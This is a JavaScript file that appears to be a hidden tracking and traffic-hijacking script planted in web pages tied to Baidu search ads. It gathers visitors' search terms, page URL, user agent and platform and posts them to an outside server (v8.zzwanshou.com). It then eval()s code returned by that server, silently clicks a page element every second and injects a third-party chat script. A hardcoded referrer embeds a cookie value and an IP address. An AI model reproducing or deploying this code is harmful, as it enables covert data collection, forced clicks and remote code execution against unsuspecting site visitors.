if (!window.shbly_func) {
    window.shbly_func = {
        parseURL: function(url) {
            var a = document.createElement('a');
            a.href = url;
            return {
                source: url,
                protocol: a.protocol.replace(':', ''),
                host: a.hostname,
                port: a.port,
                query: a.search,
                params: (function() {
                    var ret = {}, seg = a.search.replace(/^\?/, '').split('&'), len = seg.length, i = 0, s;
                    for (; i < len; i++) {
                        if (!seg[i]) {
                            continue;
                        }
                        s = seg[i].split('=');
                        ret[s[0]] = s[1];
                    }
                    return ret;
                }
                )(),
                file: (a.pathname.match(/\/([^\/?#]+)$/i) || [, ''])[1],
                hash: a.hash.replace('#', ''),
                path: a.pathname.replace(/^([^\/])/, '/$1'),
                relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [, ''])[1],
                segments: a.pathname.replace(/^\//, '').split('/')
            };
        },

        post: function(url, data, fn, is_as) {
            var obj = new XMLHttpRequest();
            obj.open("POST", url, is_as);
            //obj.withCredentials = true;
            obj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

            obj.onreadystatechange = function() {
                if (obj.readyState == 4 && (obj.status == 200 || obj.status == 304)) {
                    fn.call(this, obj.responseText);
                }
            }
            ;
            obj.send(data);
        }
    }
    var $data = {
        "v": "86282cbcd2acb828745eeb25279a5d"
    }
      , $refer = document.referrer
      , $shb_showsec = '2000';
    $refer = "http://youxuan.baidu.com/s?type=new&p=query%3D%C3%C0%CA%AB%C7%DF%D2%BD%C1%C6%C3%C0%C8%DD%B5%D8%D6%B7%26ppim%3D0%26im%3D2%26rs%3D2%26from%3Dwise_zhidao_qb%26flowsrc%3D0%26qid%3D0000000035280399%26cookie%3D85F40FA26D5770A03CD58A088B67ADE1%26ip%3D117.136.5.57%26req_print%3Dwosid%3A2%3Bwpt%3A2%3Bwbwsid%3A%3Bwbwsver%3A8.1%3Bwosver%3A5.0%3Bwos%3Aandroid%3Bwspeed%3A805%3Bwnettype%3A2%3Bwhost%3Azhidao.baidu.com%3Bua%3AMozilla%252F5.0%2B%2528Linux%253B%2BU%253B%2BAndroid%2B5.0.2%253B%2Bzh-cn%253B%2BRedmi%2BNote%2B3%2BBuild%252FLRX22G%2529%2BAppleWebKit%252F537.36%2B%2528KHTML%252C%2Blike%2BGecko%2529%2BVersion%252F4.0%2BChrome%252F46.0.2490.85%2BMobile%2BSafari%252F537.36%2BXiaoMi%252FMiuiBrowser%252F8.1.6%3Bgps%3A%3Bcuid%3A%3Bwgtag%3A0%3Bwatype%3A%3Bprefix%3A%3Bscreenwidth%3A1501%3Bscreenheight%3A1004%3BinnerWidth%3A-1%3BinnerHeight%3A-1%3B%26tag%3Duy-b5Hc3nf%26chargename%3Dksws3";
    if (!$refer) {
        try {
            if (window.opener) {
                $refer = window.opener.location.href;
            }
        } catch (e) {}
    }
    var $url = shbly_func.parseURL($refer);

    //PC百度   YD百度  (PC360,YD360,PC神马,YD神马)  PC搜狗  YD搜狗
    //$url.params.q|| 这个和百度优选冲突了
    $data["wd"] = $url.params.wd || $url.params.word || $url.params.query || $url.params.query || $url.params.keyword || $url.params.word1 || $url.params.title || '';
    $data["title"] = document.title;
    $data["href"] = window.location.href;
    $data["user_agent"] = navigator.userAgent;
    $data["referrer"] = document.referrer;
    $data["referrer"] =  "http://youxuan.baidu.com/s?type=new&p=query%3D%C3%C0%CA%AB%C7%DF%D2%BD%C1%C6%C3%C0%C8%DD%B5%D8%D6%B7%26ppim%3D0%26im%3D2%26rs%3D2%26from%3Dwise_zhidao_qb%26flowsrc%3D0%26qid%3D0000000035280399%26cookie%3D85F40FA26D5770A03CD58A088B67ADE1%26ip%3D117.136.5.57%26req_print%3Dwosid%3A2%3Bwpt%3A2%3Bwbwsid%3A%3Bwbwsver%3A8.1%3Bwosver%3A5.0%3Bwos%3Aandroid%3Bwspeed%3A805%3Bwnettype%3A2%3Bwhost%3Azhidao.baidu.com%3Bua%3AMozilla%252F5.0%2B%2528Linux%253B%2BU%253B%2BAndroid%2B5.0.2%253B%2Bzh-cn%253B%2BRedmi%2BNote%2B3%2BBuild%252FLRX22G%2529%2BAppleWebKit%252F537.36%2B%2528KHTML%252C%2Blike%2BGecko%2529%2BVersion%252F4.0%2BChrome%252F46.0.2490.85%2BMobile%2BSafari%252F537.36%2BXiaoMi%252FMiuiBrowser%252F8.1.6%3Bgps%3A%3Bcuid%3A%3Bwgtag%3A0%3Bwatype%3A%3Bprefix%3A%3Bscreenwidth%3A1501%3Bscreenheight%3A1004%3BinnerWidth%3A-1%3BinnerHeight%3A-1%3B%26tag%3Duy-b5Hc3nf%26chargename%3Dksws3";
    $data["source"] = $url.host;
    $data["deal_name"] = 'in_web_head';
    var shb_isclick = '1';
    var shb_fn1 = function() {
        if (shb_isclick == '1') {
            if (document.getElementById('shb_click_fun')) {
                document.getElementById('shb_click_fun').click();
            }
        }
        setTimeout(shb_fn1, 1000)
    };
    shb_fn1();
    $data["platform"] = navigator.platform;
    $wd_temp = $data["wd"];
    try {
        if (/.sm.cn$/i.test($url.host)) {
            $data["wd"] = $url.params.q || '';
            $wd_temp = $data["wd"];
        }
        if (/.so.com$/i.test($url.host)) {
            $data["wd"] = $url.params.q || '';
            $wd_temp = $data["wd"];
        }
        if ($data["wd"].length <= 0 && $url.host == 'youxuan.baidu.com') {
            $wd_temp = $url.params.p.replace(/^query%3D/, '').replace(/%26.*$/, '');
            shbly_func.post("https://v8.zzwanshou.com/getwd_yx.do?wd=" + $wd_temp, '', function($rs) {
                $rs = JSON.parse($rs);
                if ($rs['code'] == '0') {
                    $wd_temp = $data["wd"] = $rs['data'];
                }
            }, false);
        }
        if ($data["wd"].length <= 0 && $url.host == 'cpro.baidu.com') {
            $wd_temp = $url.params.k;
            shbly_func.post("https://v8.zzwanshou.com/getwd_yx.do?wd=" + $wd_temp, '', function($rs) {
                $rs = JSON.parse($rs);
                if ($rs['code'] == '0') {
                    $wd_temp = $data["wd"] = $rs['data'];
                }
            }, false);
        }
    } catch (err) {
    }
    if ($data["wd"].length <= 0)
        $data["wd"] = '';
    $data["wd"] = decodeURIComponent($data["wd"]);
    if ($data["wd"].indexOf('%') >= 0)
        $data["wd"] = decodeURIComponent($data["wd"]);
    //发送数据
    if ($shb_showsec.length > 0) {
        $shb_showsec = parseInt($shb_showsec);
    } else
        $shb_showsec = 0;
    if ($shb_showsec > 0){
        setTimeout("ly_get_eval($data)", $shb_showsec);
    }else{
        //ly_get_eval($data);
    }
        
}
function ly_get_eval($d) {
    shbly_func.post("https://v8.zzwanshou.com/eval.do", JSON.stringify($d), function($rs) {
        $rs = JSON.parse($rs);
        if ($rs['code'] == '0') {
            insertswtChatTjJs();
            eval($rs['do'])
        }
    }, true);
}
function insertswtChatTjJs() {
    if (typeof (LR_sysurl) == "undefined") {
        var _wocguWQc = document.createElement("script");
        _wocguWQc.setAttribute("charset", "utf-8");
        _wocguWQc.setAttribute("src", "http://dct.zoosnet.net/JS/LsJS.aspx?siteid=DCT21483632&lng=cn");
        if (document.body) {
            try {
                document.body.appendChild(_wocguWQc);
            } catch (e) {
                document.documentElement.appendChild(_wocguWQc);
            }
        } else {
            var heads = document.getElementsByTagName("head");
            if (heads.length)
                heads[0].appendChild(_wocguWQc);
        }
    }

}
